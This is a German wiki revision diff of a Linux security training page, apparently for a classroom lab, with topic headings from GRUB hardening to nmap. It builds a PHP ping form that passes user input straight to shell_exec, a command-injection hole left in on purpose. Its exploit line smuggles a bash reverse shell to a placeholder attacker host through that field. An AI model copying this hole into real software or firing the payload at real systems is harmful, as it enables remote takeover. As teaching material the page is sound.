Informationssicherheit in Linux-Umgebungen: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 23: Zeile 23:
  
 
{{#drawio:linux-infosec-01}}
 
{{#drawio:linux-infosec-01}}
 +
 +
* '''apt install apache2 php-sqlite3 libapache2-mod-php'''
  
 
== Schwachstelle im Code ==
 
== Schwachstelle im Code ==
 +
 +
* '''vim /var/www/html/command-injection.php'''
 +
 +
<syntaxhighlight language="php">
 +
<!DOCTYPE html>
 +
<html>
 +
<body>
 +
<h2>PING</h2>
 +
<form method="post">
 +
  <label for="fname">IP</label><br>
 +
  <input type="text" name="ip"><br>
 +
  <input type="submit" name="submit" value="submit">
 +
</form>
 +
<br>
 +
<?php
 +
if(isset($_POST['submit'])){
 +
$ip = $_POST['ip'];
 +
$cmd = 'ping -c 4 ' . $ip;
 +
$output = shell_exec($cmd);
 +
echo "<pre> $output</pre>";
 +
}
 +
?>
 +
</body>
 +
</html>
 +
</php>
  
 
== Exploit ==
 
== Exploit ==

Version vom 17. August 2023, 08:30 Uhr

physischer Zugangsschutz

Bootzugriff absichern

  • Der erste Prozess mit dem Linux gebootet wird, kann von GRUB2 bestimmt werden.
  • So kann man das Passwort des root-Nutzers zurücksetzen, falls man diesen vergessen hat.
  • D.h. aber auch, dass ein unautorisierter Benutzer mit Zugriff auf die physische Maschine sich eine Shell geben kann ohne Kenndaten einzugeben.
  • Anleitung zu Linux boot hacking
  • Man sollte also kritische Systeme mit einem GRUB Passwort vor ungewollten Änderungen der Boot-Einträge absichern
  • Anleitung zum setzen eines Passworts für GRUB2

Brute Force Attacken

Hydra

SSH Daemon Konfiguration

Fail2Ban

Command Injection über eine Webanwendung

Laboraufbau

  • apt install apache2 php-sqlite3 libapache2-mod-php

Schwachstelle im Code

  • vim /var/www/html/command-injection.php

<syntaxhighlight language="php">

<!DOCTYPE html>
<html>

<body>

PING

<form method="post"> <label for="fname">IP</label>
<input type="text" name="ip">
<input type="submit" name="submit" value="submit"> </form>

<?php
if(isset($_POST['submit'])){
	$ip = $_POST['ip'];
	$cmd = 'ping -c 4 ' . $ip;
	$output = shell_exec($cmd);

echo "

 $output

";

}
?>

</body>

</html>

</php>

Exploit

  • 1.1.1.1 ; bash -c "bash -i >& /dev/tcp/i.p.des.hackers/port 0>&1"

SELinux

OWASP Juice Shop

Burp

Suricata

Schwachstellenerkennung/-scanning

nmap

Greenbone Security Manager

Cross Site Scripting

Office-Tools Macro-Exploit